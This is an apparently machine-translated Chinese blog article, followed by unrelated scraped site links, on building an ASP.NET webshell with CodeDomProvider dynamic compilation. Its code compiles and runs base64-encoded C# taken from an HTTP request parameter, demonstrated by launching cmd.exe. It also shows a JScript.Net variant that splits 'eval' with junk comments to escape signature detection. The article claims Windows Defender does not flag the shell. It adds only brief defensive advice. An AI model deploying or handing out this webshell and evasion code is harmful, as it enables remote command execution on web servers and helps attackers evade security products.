当前位置:网站首页>Implementation of arbitrary code execution based on.Net dynamic compilation technology
Implementation of arbitrary code execution based on.Net dynamic compilation technology
2022-07-27 21:57:00 【biyusr】
One 、 Preface
The current mainstream Waf or Windows Defender Wait for the terminal to kill the software 、EDR Most of them are checked and killed from the signature code , stay .Net and VBS Next, the most common feature of Trojans is eval, For attackers, you need to avoid this system keyword , It can be avoided from deserialization eval, However, it has been publicly believed for a long time that many security products have been able to detect and block such attack requests . The author from the .NET Built in CodeDomProvider Class to realize dynamic compilation .NET Code , To specify JScrip perhaps C# As a compiler language , Compilation of WebShell at present Windows Defender Won't kill . The defender identifies from traffic or terminals "CodeDomProvider.CreateProvider、CreateInstance" Equal characteristic code .
Two 、 Dynamic compilation
.Net The externally input string can be executed as code through compilation technology , Dynamic compilation technology provides two core classes CodeDomProvider and CompilerParameters, The former is equivalent to a compiler , The latter is equivalent to compiler parameters ,CodeDomProvider Support for multiple languages ( Such as C#、VB、Jscript), Compiler parameters CompilerParameters.GenerateExecutable The default is to generate dll,GenerateInMemory= true When, it means loading in memory ,CompileAssemblyFromSource Represents the data source of the assembly , Then generate the assembly from the compilation results for reflection calls . Finally through CreateInstance Instantiate the object and call the methods in the custom class by reflection .
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; // compilerCompilerParameters comPara = new CompilerParameters(); // Compiler parameterscomPara.ReferencedAssemblies.Add("System.dll"); // Add referencecomPara.GenerateExecutable = false; // Generate execomPara.GenerateInMemory = true; // In the memoryCompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); // Source of compiled dataAssembly objAssembly = compilerResults.CompiledAssembly; // Compile into an assemblyobject objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); // Create objectsMethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); // Reflection calls methodvar result = objMifo.Invoke(objInstance, null);
3、 ... and 、 Landing to achieve
In the above code SourceText Methods need to provide compiled C# Source code , The author created NeteyeInput class , as follows
public static string SourceText(string txt){StringBuilder sb = new StringBuilder();sb.Append("using System;");sb.Append(Environment.NewLine);sb.Append("namespace Neteye");sb.Append(Environment.NewLine);sb.Append("{");sb.Append(Environment.NewLine);sb.Append(" public class NeteyeInput");sb.Append(Environment.NewLine);sb.Append(" {");sb.Append(Environment.NewLine);sb.Append(" public void OutPut()");sb.Append(Environment.NewLine);sb.Append(" {");sb.Append(Environment.NewLine);sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));sb.Append(Environment.NewLine);sb.Append(" }");sb.Append(Environment.NewLine);sb.Append(" }");sb.Append(Environment.NewLine);sb.Append("}");string code = sb.ToString();return code;}
Class declares OutPut Method , This method passes Base64 Decode the input native string , The author here takes the calculator as a demonstration , take “System.Diagnostics.Process.Start("cmd.exe","/c calc");”
Encoded as
U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7Finally, in the general processing program ProcessRequest Call in method
public void ProcessRequest(HttpContext context){context.Response.ContentType = "text/plain";if (!string.IsNullOrEmpty(context.Request["txt"])){DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7context.Response.Write("Execute Status: Success!");}else{context.Response.Write("Just For Fun, Please Input txt!");}}

Four 、 Other methods
Jscript.Net Dynamic compilation and disassembly eval
stay .NET In the field of security, the mainstream of Trojans is to eval Keyword execution , Many security products will focus on this , So I need To avoid the eval, And in the .NET in eval Is only found in Jscript.Net, Therefore, you need to specify the dynamic compiler as Jscript, The rest and C# The dynamic compilation of the version is basically the same , By inserting irrelevant characters, the author will eval Take it apart , The code is as follows
private static readonly string _jscriptClassText =@"import System;class JScriptRun{public static function RunExp(expression : String) : String{return e/*@[email protected]*/v/*@[email protected]*/a/*@[email protected]*/l(expression);}}";
Just replace the irrelevant string when compiling “/*@[email protected]*/”, Finally, the post compilation reflection executes the target method .
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@[email protected]*/",""));5、 ... and 、 Defensive measures
commonly web There are not many application scenarios , Detect signatures :CodeDomProvider.CreateProvider、CreateInstance wait , In case of alarm, pay special attention ;
The assembly generated by compilation is saved on the hard disk as a temporary file , Need to add to the writable directory dll Monitoring of document content ;
The code involved in this article has been packaged in "https://github.com/Ivan1ee/.NETWebShell"
边栏推荐
- Finish learning redis cluster solution at one go
- Station B collapsed. What did the developer responsible for the repair do that night?
- 软件测试面试题:软件测试项目从什么时候开始?为什么?
- 紫光展锐:2020年将有数十款基于春藤510的5G终端商用
- An article takes you into the world of pycharm - stop asking me about pycharm installation and environment configuration!!!
- Import word document pictures blocking and non blocking IO operations
- 美司法部增加针对华为的指控,包括窃取商业秘密等16项新罪名
- Software testing interview question: what aspects should be considered when designing test cases, that is, which aspects should different test cases be tested for?
- Software test interview question: does software acceptance test include formal acceptance test, alpha test and beta test?
- Shengyang technology officially launched the remote voiceprint health return visit service system!
猜你喜欢

How can anyone ask how MySQL archives data?
Excalidraw:很好用的在线、免费「手绘」虚拟白板工具

day 1 - day 4

Idea connects to MySQL database and performs SQL query operations

对象在内存中存在形式&内存分配机制

How to realize a good knowledge management system?

An article takes you into the world of pycharm - stop asking me about pycharm installation and environment configuration!!!

怎么还有人问 MySQL 是如何归档数据的呢?

Is log4j vulnerability still widespread?

@RequestParam注解的详细介绍
随机推荐
Exception -exception
哈希表的查找与插入及删除
Huawei establishes global ecological development department: fully promote HMS global ecological construction
Station B collapsed. If we were the developer responsible for the repair that night
零钱通项目(两个版本)含思路详解
XML writing gap animation popupwindow realizes the animation of emergence and exit
三星最先进EUV产线已投产:今年7nm产能将是去年3倍
Technical practice behind bloom model: how to refine 176billion parameter model?
After sorting (bubble sorting), learn to continuously update other sorting methods
为什么服务端程序都需要先 listen 一下
面向3nm及以下工艺,ASML新一代EUV光刻机曝光
2019Q4内存厂商营收排名:三星下滑5%,仅SK海力士、美光维持增长
看起来是线程池的BUG,但是我认为是源码设计不合理。
Nano semiconductor 65W gallium nitride (GAN) scheme was adopted by Xiaomi 10 Pro charger
The design idea of relational database is obvious to you in 20 pictures
枚举和注解
Small change project (two versions) with detailed ideas
It seems to be a bug of thread pool, but I think the source code design is unreasonable.
Mobilevit learning notes
Software testing interview question: what is the focus of unit testing, integration testing, and system testing?